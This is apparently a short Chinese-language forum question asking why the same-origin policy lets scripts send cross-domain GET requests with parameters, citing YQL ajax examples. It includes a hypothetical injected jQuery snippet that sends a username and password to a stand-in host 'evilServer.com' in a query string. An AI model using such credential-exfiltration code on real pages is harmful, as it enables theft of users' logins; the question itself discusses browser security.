据我了解,同源策略会阻止网页中的脚本与当前域之外的服务器通信(使用 post、xmlhttprequest 等)。我假设跨域的获取请求(带参数)也将被禁止。直到我开始阅读有关使用 YQL 绕过同源策略的一些限制的信息。代码示例都使用带参数的 ajax get 请求。
$.ajax({
type: "GET",
url: 'http://query.yahooapis.com/v1/public/yql?q=' + encodeURIComponent(webServiceQuery),
因此,假设一些攻击者设法将一些邪恶的 javascript 注入到收集登录信息的网页中。就像是:
$.ajax({
type: "GET",
url: 'http://evilServer.com?username=PresidentSkroob&password=12345
接收服务器可以记录所有到达的请求。为什么允许这样做?我理解您为什么要允许无数据获取请求(例如导入 jquery),但我认为没有理由允许跨域传递查询字符串。大多数浏览器允许这样做有正当理由吗?